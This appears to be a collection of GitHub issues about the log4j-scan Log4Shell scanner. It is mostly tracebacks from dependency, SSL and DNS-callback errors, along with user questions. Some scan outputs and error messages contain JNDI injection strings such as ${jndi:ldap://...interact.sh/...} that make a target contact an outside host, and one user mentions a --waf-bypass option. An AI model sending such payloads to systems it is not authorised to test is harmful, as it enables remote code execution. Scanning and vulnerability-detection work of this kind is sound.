ERROR: Command errored out with exit status 1: /usr/bin/python3 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-5r7yx3m5/pycrypto/setup.py'"'"'; __file__='"'"'/tmp/pip-install-5r7yx3m5/pycrypto/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record /tmp/pip-record-bn5ef8y7/install-record.txt --single-version-externally-managed --user --prefix= --compile --install-headers /home/ec2-user/.local/include/python3.7m/pycrypto Check the logs for full command output.

OS X error module Crypto

python3 log4j-scan.py -h
Traceback (most recent call last):
File "log4j-scan.py", line 22, in
from Crypto.Cipher import AES, PKCS1_OAEP
ModuleNotFoundError: No module named 'Crypto'

Crypto module problem

i first run pip3 install -r requirements.txt
when running the script I got this error

File "/Users/***/Tools/log4j-scan/log4j-scan.py", line 22, in
from Crypto.Cipher import AES, PKCS1_OAEP
ModuleNotFoundError: No module named 'Crypto'

any solution?

python error

getting following err
can you help please

(.venv) PS C:\Users\rons_> python "c:\Users\rons_\Downloads\log4j-scan-master\log4j-scan-master\log4j-scan.py" -u xxxx. --run-all-tests
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "C:\python3.9\lib\site-packages\urllib3\connectionpool.py", line 670, in urlopen
httplib_response = self._make_request(
File "C:\python3.9\lib\site-packages\urllib3\connectionpool.py", line 381, in _make_request
self._validate_conn(conn)
File "C:\python3.9\lib\site-packages\urllib3\connectionpool.py", line 978, in _validate_conn
conn.connect()
File "C:\python3.9\lib\site-packages\urllib3\connection.py", line 397, in connect
_match_hostname(cert, self.assert_hostname or server_hostname)
File "C:\python3.9\lib\site-packages\urllib3\connection.py", line 407, in _match_hostname
match_hostname(cert, asserted_hostname)
File "C:\python3.9\lib\ssl.py", line 416, in match_hostname
raise CertificateError("hostname %r "
ssl.SSLCertVerificationError: ("hostname 'interact.sh' doesn't match either of '*.safezone.mcafee.com', 'safezone.mcafee.com'",)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\python3.9\lib\site-packages\requests\adapters.py", line 439, in send
resp = conn.urlopen(
File "C:\python3.9\lib\site-packages\urllib3\connectionpool.py", line 726, in urlopen
retries = retries.increment(
File "C:\python3.9\lib\site-packages\urllib3\util\retry.py", line 446, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLCertVerificationError("hostname 'interact.sh' doesn't match either of '*.safezone.mcafee.com', 'safezone.mcafee.com'")))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "c:\Users\rons_\Downloads\log4j-scan-master\log4j-scan-master\log4j-scan.py", line 337, in
main()
File "c:\Users\rons_\Downloads\log4j-scan-master\log4j-scan-master\log4j-scan.py", line 307, in main
dns_callback = Interactsh()
File "c:\Users\rons_\Downloads\log4j-scan-master\log4j-scan-master\log4j-scan.py", line 176, in init
self.register()
File "c:\Users\rons_\Downloads\log4j-scan-master\log4j-scan-master\log4j-scan.py", line 184, in register
res = self.session.post(
File "C:\python3.9\lib\site-packages\requests\sessions.py", line 590, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "C:\python3.9\lib\site-packages\requests\sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "C:\python3.9\lib\site-packages\requests\sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "C:\python3.9\lib\site-packages\requests\adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLCertVerificationError("hostname 'interact.sh' doesn't match either of '*.safezone.mcafee.com', 'safezone.mcafee.com'")))

[Feature Request]: Support for CVE-2021-45046 in Log4j 2.15.0

CVE-2021-45046 was discovered in Log4j 2.15.0 that could lead to a denial of service attack.
When will log4j-scan be updated?

Error initializing DNS callback server

[•] Initiating DNS callback server.
Traceback (most recent call last):
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connection.py", line 174, in _new_conn
    conn = connection.create_connection(
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/util/connection.py", line 96, in create_connection
    raise err
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/util/connection.py", line 86, in create_connection
    sock.connect(sa)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 699, in urlopen
    httplib_response = self._make_request(
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 394, in _make_request
    conn.request(method, url, **httplib_request_kw)
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connection.py", line 239, in request
    super(HTTPConnection, self).request(method, url, body=body, headers=headers)
  File "/usr/lib/python3.9/http/client.py", line 1285, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/usr/lib/python3.9/http/client.py", line 1331, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/usr/lib/python3.9/http/client.py", line 1280, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/usr/lib/python3.9/http/client.py", line 1040, in _send_output
    self.send(msg)
  File "/usr/lib/python3.9/http/client.py", line 980, in send
    self.connect()
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connection.py", line 205, in connect
    conn = self._new_conn()
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connection.py", line 179, in _new_conn
    raise ConnectTimeoutError(
urllib3.exceptions.ConnectTimeoutError: (<urllib3.connection.HTTPConnection object at 0x7fce69752850>, 'Connection to www.dnslog.cn timed out. (connect timeout=30)')

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/.local/lib/python3.9/site-packages/requests/adapters.py", line 439, in send
    resp = conn.urlopen(
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 755, in urlopen
    retries = retries.increment(
  File "/home/kali/.local/lib/python3.9/site-packages/urllib3/util/retry.py", line 574, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='www.dnslog.cn', port=80): Max retries exceeded with url: /getdomain.php (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7fce69752850>, 'Connection to www.dnslog.cn timed out. (connect timeout=30)'))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/software/log4j-scan/log4j-scan.py", line 238, in <module>
    main()
  File "/home/kali/software/log4j-scan/log4j-scan.py", line 217, in main
    dns_callback = Dnslog()
  File "/home/kali/software/log4j-scan/log4j-scan.py", line 127, in __init__
    req = self.s.get("http://www.dnslog.cn/getdomain.php", timeout=30)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions.py", line 555, in get
    return self.request('GET', url, **kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions.py", line 542, in request
    resp = self.send(prep, **send_kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions.py", line 655, in send
    r = adapter.send(request, **kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/adapters.py", line 504, in send
    raise ConnectTimeout(e, request=request)
requests.exceptions.ConnectTimeout: HTTPConnectionPool(host='www.dnslog.cn', port=80): Max retries exceeded with url: /getdomain.php (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7fce69752850>, 'Connection to www.dnslog.cn timed out. (connect timeout=30)'))

Is domain log4j.lab.secbot.local still available to test for log4j attack?

I'm trying to use this exploit and test it with the domain as mentioned in the readme example. I wonder if the domain is still vulnerable or not?

I tend to get a response such as:

EXCEPTION: HTTPConnectionPool(host='log4j.lab.secbot.local', port=8080): Max retries exceeded with url: /?v=%24%7Bjndi%3Aldap%3A%2F%2Flog4j.lab.secbot.local.6t70jpb1tl9843s3l8rh6ijg4004bx90m.interact.sh%2Fxxw6him%7D (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f644a420790>: Failed to establish a new connection: [Errno -2] Name or service not known')

SSL issue?

[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "/usr/local/lib/python3.7/site-packages/urllib3/connectionpool.py", line 706, in urlopen
chunked=chunked,
File "/usr/local/lib/python3.7/site-packages/urllib3/connectionpool.py", line 382, in _make_request
self.validate_conn(conn)
File "/usr/local/lib/python3.7/site-packages/urllib3/connectionpool.py", line 1010, in validate_conn
conn.connect()
File "/usr/local/lib/python3.7/site-packages/urllib3/connection.py", line 426, in connect
tls_in_tls=tls_in_tls,
File "/usr/local/lib/python3.7/site-packages/urllib3/util/ssl.py", line 450, in ssl_wrap_socket
sock, context, tls_in_tls, server_hostname=server_hostname
File "/usr/local/lib/python3.7/site-packages/urllib3/util/ssl.py", line 493, in _ssl_wrap_socket_impl
return ssl_context.wrap_socket(sock, server_hostname=server_hostname)
File "/usr/local/lib/python3.7/ssl.py", line 412, in wrap_socket
session=session
File "/usr/local/lib/python3.7/ssl.py", line 853, in _create
self.do_handshake()
File "/usr/local/lib/python3.7/ssl.py", line 1117, in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1051)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/lib/python3.7/site-packages/requests/adapters.py", line 449, in send
timeout=timeout
File "/usr/local/lib/python3.7/site-packages/urllib3/connectionpool.py", line 756, in urlopen
method, url, error=e, _pool=self, _stacktrace=sys.exc_info()[2]
File "/usr/local/lib/python3.7/site-packages/urllib3/util/retry.py", line 574, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1051)')))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "log4j-scan.py", line 337, in
main()
File "log4j-scan.py", line 307, in main
dns_callback = Interactsh()
File "log4j-scan.py", line 176, in init
self.register()
File "log4j-scan.py", line 185, in register
f"https://{self.server}/register", headers=self.headers, json=data, timeout=30)
File "/usr/local/lib/python3.7/site-packages/requests/sessions.py", line 590, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/usr/local/lib/python3.7/site-packages/requests/sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python3.7/site-packages/requests/sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python3.7/site-packages/requests/adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1051)')))

EXCEPTION: [Errno 2] No such file or directory: 'headers.txt'

EXCEPTION: [Errno 2] No such file or directory: 'headers.txt' during scan

[•] Initiating DNS callback server (interact.sh).

Traceback (most recent call last):
File "/home/kali/Pentest/Recon/log4j-scan/log4j-scan.py", line 336, in
main()
File "/home/kali/Pentest/Recon/log4j-scan/log4j-scan.py", line 306, in main
dns_callback = Interactsh()
File "/home/kali/Pentest/Recon/log4j-scan/log4j-scan.py", line 156, in init
rsa = RSA.generate(2048)
File "/usr/local/lib/python3.9/dist-packages/Crypto/PublicKey/RSA.py", line 508, in generate
obj = _RSA.generate_py(bits, rf, progress_func, e) # TODO: Don't use legacy _RSA module
File "/usr/local/lib/python3.9/dist-packages/Crypto/PublicKey/_RSA.py", line 50, in generate_py
p = pubkey.getStrongPrime(bits>>1, obj.e, 1e-12, randfunc)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Util/number.py", line 264, in getStrongPrime
return _fastmath.getStrongPrime(int(N), int(e), false_positive_prob,
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 178, in read
return _UserFriendlyRNG.read(self, bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 129, in read
self._ec.collect()
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 77, in collect
t = time.clock()
AttributeError: module 'time' has no attribute 'clock'

Error DNS callback server

[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "/home/kali/log4j-scan/log4j-scan.py", line 335, in
main()
File "/home/kali/log4j-scan/log4j-scan.py", line 305, in main
dns_callback = Interactsh()
File "/home/kali/log4j-scan/log4j-scan.py", line 156, in init
rsa = RSA.generate(2048)
File "/usr/local/lib/python3.9/dist-packages/Crypto/PublicKey/RSA.py", line 508, in generate
obj = _RSA.generate_py(bits, rf, progress_func, e) # TODO: Don't use legacy _RSA module
File "/usr/local/lib/python3.9/dist-packages/Crypto/PublicKey/_RSA.py", line 50, in generate_py
p = pubkey.getStrongPrime(bits>>1, obj.e, 1e-12, randfunc)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Util/number.py", line 264, in getStrongPrime
return _fastmath.getStrongPrime(int(N), int(e), false_positive_prob,
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 178, in read
return _UserFriendlyRNG.read(self, bytes)
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 129, in read
self._ec.collect()
File "/usr/local/lib/python3.9/dist-packages/Crypto/Random/_UserFriendlyRNG.py", line 77, in collect
t = time.clock()
AttributeError: module 'time' has no attribute 'clock'

[Discussion] Way to setup a vulnerable test environment

Hello,

nice tool and thanks for sharing.

Is there an easy way to setup a purposely vulnerable test environment ?
I tried setting up several images from https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/ that should be vulnerable (even user older than disclosure tags).
Despite the effort, I've not been able to trigger a vulnerability detection which I'd like to see for validation purposes.

Regards

Receiving: An existing connection was forcibly closed by the remote host

←[32m[•] CVE-2021-44228 - Apache Log4j RCE Scanner←[0m
←[33m[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.←[0m
←[33m[•] Secure your External Attack Surface with FullHunt.io.←[0m
[•] Initiating DNS callback server (interact.sh).←[0m
Traceback (most recent call last):
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 699, in urlopen
httplib_response = self._make_request(
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 382, in _make_request
self._validate_conn(conn)
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 1010, in validate_conn
conn.connect()
File "C:\Python310\lib\site-packages\urllib3\connection.py", line 416, in connect
self.sock = ssl_wrap_socket(
File "C:\Python310\lib\site-packages\urllib3\util\ssl.py", line 449, in ssl_wrap_socket
ssl_sock = ssl_wrap_socket_impl(
File "C:\Python310\lib\site-packages\urllib3\util\ssl.py", line 493, in _ssl_wrap_socket_impl
return ssl_context.wrap_socket(sock, server_hostname=server_hostname)
File "C:\Python310\lib\ssl.py", line 512, in wrap_socket
return self.sslsocket_class._create(
File "C:\Python310\lib\ssl.py", line 1070, in _create
self.do_handshake()
File "C:\Python310\lib\ssl.py", line 1341, in do_handshake
self._sslobj.do_handshake()
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\Python310\lib\site-packages\requests\adapters.py", line 439, in send
resp = conn.urlopen(
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 755, in urlopen
retries = retries.increment(
File "C:\Python310\lib\site-packages\urllib3\util\retry.py", line 532, in increment
raise six.reraise(type(error), error, _stacktrace)
File "C:\Python310\lib\site-packages\urllib3\packages\six.py", line 769, in reraise
raise value.with_traceback(tb)
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 699, in urlopen
httplib_response = self._make_request(
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 382, in _make_request
self._validate_conn(conn)
File "C:\Python310\lib\site-packages\urllib3\connectionpool.py", line 1010, in validate_conn
conn.connect()
File "C:\Python310\lib\site-packages\urllib3\connection.py", line 416, in connect
self.sock = ssl_wrap_socket(
File "C:\Python310\lib\site-packages\urllib3\util\ssl.py", line 449, in ssl_wrap_socket
ssl_sock = ssl_wrap_socket_impl(
File "C:\Python310\lib\site-packages\urllib3\util\ssl.py", line 493, in _ssl_wrap_socket_impl
return ssl_context.wrap_socket(sock, server_hostname=server_hostname)
File "C:\Python310\lib\ssl.py", line 512, in wrap_socket
return self.sslsocket_class._create(
File "C:\Python310\lib\ssl.py", line 1070, in _create
self.do_handshake()
File "C:\Python310\lib\ssl.py", line 1341, in do_handshake
self._sslobj.do_handshake()
urllib3.exceptions.ProtocolError: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\log4j-scan-master\log4j-scan.py", line 336, in
main()
File "C:\log4j-scan-master\log4j-scan.py", line 306, in main
dns_callback = Interactsh()
File "C:\log4j-scan-master\log4j-scan.py", line 175, in init
self.register()
File "C:\log4j-scan-master\log4j-scan.py", line 183, in register
res = self.session.post(
File "C:\Python310\lib\site-packages\requests\sessions.py", line 590, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "C:\Python310\lib\site-packages\requests\sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "C:\Python310\lib\site-packages\requests\sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "C:\Python310\lib\site-packages\requests\adapters.py", line 498, in send
raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))

Issue self-signed certificates

Installation runs perfect:
XXX@XXX:~/log4j-scan$ pip3 install -r requirements.txt
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (2.25.1)
Requirement already satisfied: termcolor in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (1.1.0)
Requirement already satisfied: PyCryptodome in /home/XXX/.local/lib/python3.9/site-packages (from -r requirements.txt (line 3)) (3.12.0)

But then we get this error:
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 699, in urlopen
httplib_response = self._make_request(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 382, in _make_request
self._validate_conn(conn)
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 1012, in validate_conn
conn.connect()
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 411, in connect
self.sock = ssl_wrap_socket(
File "/usr/lib/python3/dist-packages/urllib3/util/ssl.py", line 449, in ssl_wrap_socket
ssl_sock = ssl_wrap_socket_impl(
File "/usr/lib/python3/dist-packages/urllib3/util/ssl.py", line 493, in _ssl_wrap_socket_impl
return ssl_context.wrap_socket(sock, server_hostname=server_hostname)
File "/usr/lib/python3.9/ssl.py", line 500, in wrap_socket
return self.sslsocket_class._create(
File "/usr/lib/python3.9/ssl.py", line 1040, in _create
self.do_handshake()
File "/usr/lib/python3.9/ssl.py", line 1309, in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
resp = conn.urlopen(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 755, in urlopen
retries = retries.increment(
File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 574, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)')))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/home/XXX/log4j-scan/./log4j-scan.py", line 337, in
main()
File "/home/XXX/log4j-scan/./log4j-scan.py", line 307, in main
dns_callback = Interactsh()
File "/home/XXX/log4j-scan/./log4j-scan.py", line 176, in init
self.register()
File "/home/XXX/log4j-scan/./log4j-scan.py", line 184, in register
res = self.session.post(
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 590, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)')))

HTTPS？HTTP！

requests.exceptions.ReadTimeout: HTTPSConnectionPool(host='interactsh.com', port=443): Read timed out. (read timeout=30)

u connect to 443 port, but the server is http://interactsh.com/, http server has only 80 port open, the 443 will not work, it better to fix

dnslog.cn

Many US environments geo-block China -- this script does not check to make sure the site is fully accessible on both ends. If the remote host receiving the payload cannot reach dnslog.cn, the script still returns "Targets does not seem to be vulnerable." even though it may very well be vulnerable.

Can this script be adapted to use a US based site for dns log callbacks?

Custom DNS Callback Host is not returning results

The callback URL is being added to the query when running but no results are appearing in the web-app, does it need to be wrapped in brackets or quotes?

[EXCEPTIONS] ConnectionError

Hello,
I'm facing this issue can anybody help me with this?

requests.exceptions.ConnectionError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7faa56dd0c18>: Failed to establish a new connection: [Errno 111] Connection refused',))

module 'time' has no attribute 'clock'

[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "/root/Desktop/log4j-scan/log4j-scan.py", line 336, in
main()
File "/root/Desktop/log4j-scan/log4j-scan.py", line 306, in main
dns_callback = Interactsh()
File "/root/Desktop/log4j-scan/log4j-scan.py", line 156, in init
rsa = RSA.generate(2048)
File "/root/.local/lib/python3.9/site-packages/Crypto/PublicKey/RSA.py", line 508, in generate
obj = _RSA.generate_py(bits, rf, progress_func, e) # TODO: Don't use legacy _RSA module
File "/root/.local/lib/python3.9/site-packages/Crypto/PublicKey/_RSA.py", line 50, in generate_py
p = pubkey.getStrongPrime(bits>>1, obj.e, 1e-12, randfunc)
File "/root/.local/lib/python3.9/site-packages/Crypto/Util/number.py", line 264, in getStrongPrime
return _fastmath.getStrongPrime(int(N), int(e), false_positive_prob,
File "/root/.local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/root/.local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/root/.local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
return self._singleton.read(bytes)
File "/root/.local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 178, in read
return _UserFriendlyRNG.read(self, bytes)
File "/root/.local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 129, in read
self._ec.collect()
File "/root/.local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 77, in collect
t = time.clock()
AttributeError: module 'time' has no attribute 'clock'

How can I resolve an issue with Docker failed size Validation

Building the docker container I get the following issue:

 > [1/6] FROM docker.io/library/python:3-alpine@sha256:dce56d40d885d2c8847aa2a278a29d50450c8e3d10f9d7ffeb2f38dcc1eb0ea4:
------
failed commit on ref "layer-sha256:d8c681bc2183ac2de0b5e117ed74647ee5dfbdbf8a3730ac81c54f3b3db989f7": "layer-sha256:d8c681bc2183ac2de0b5e117ed74647ee5dfbdbf8a3730ac81c54f3b3db989f7" failed size validation: 7166337 != 11686631: failed precondition

Unclear interpretation of Scan Results

Hi,

first, thank you for sharing this tool, it is very helpful.
However, we have an issue with the interpretation of the scan result of log4j-scan. Upon pointing it to a known vulnerable test system, it delivers consistent results. We observe, that the remote address in the output is equal to the ip address of the system which is being tested.
We now found an anomaly scanning live systems. The scan results are positive, but the remote address points to internet ip's which are totally unrelated to the live system. They point largely to google-cloud servers or WoodyNet IPs. Is this an indicator of compromise or just an anomaly? We can't pinpoint where that exactly comes from. Obviously it has something to do with interactsh, but it is unclear at which point the external IPs are fed in. Here's a snippet of the output (target IP and token obfuscated, obviously):

{'timestamp': '2021-12-14T11:00:02.489479218Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:02.664853784Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:02.843801487Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:03.020504231Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:03.198737042Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:06.71736305Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '172.253.10.195'}
{'timestamp': '2021-12-14T11:00:06.719712788Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '172.253.10.196'}
{'timestamp': '2021-12-14T11:00:06.731693918Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:06.91019229Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}
{'timestamp': '2021-12-14T11:00:07.08665417Z', 'host': 'xxx.xxx.xxx.xxx.[token].interact.sh', 'remote_address': '66.185.120.243'}

Any thoughts on this? Has this also been observed by others, maybe?

ty
Roger

Hotfix needed

The requirements.txt is missing pycryptodome and there is a typo in line 160 self.server = server.lstrip('.') or 'interactsh.com' should be self.server = server.lstrip('.') or 'interact.sh'

Errors while using IP address instead of URL

Hello,
While I was using this toll for my test lab I used IP address i.e. python3 log4j-scan.py -u http://34.66.247.178 --waf-bypass --run-all-tests and executed it. However, it started throwing errors.

└─$ python3 log4j-scan.py -u http://34.66.247.178:80
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://34.66.247.178:80
[•] URL: http://34.66.247.178:80 | PAYLOAD: ${jndi:ldap://34.66.247.178.d7k2k41114u0441k9mq52g371d560c69d.interact.sh/dsxk937}
EXCEPTION: HTTPConnectionPool(host='34.66.247.178', port=80): Max retries exceeded with url: /?v=%24%7Bjndi%3Aldap%3A%2F%2F34.66.247.178.d7k2k41114u0441k9mq52g371d560c69d.interact.sh%2Fdsxk937%7D (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff40fbc1f10>: Failed to establish a new connection: [Errno 111] Connection refused'))
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
[•] Targets does not seem to be vulnerable.

┌──(kali㉿kali)-[~/Downloads/SetupTools/log4j-scan]
└─$ python3 log4j-scan.py -u http://34.66.247.178
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
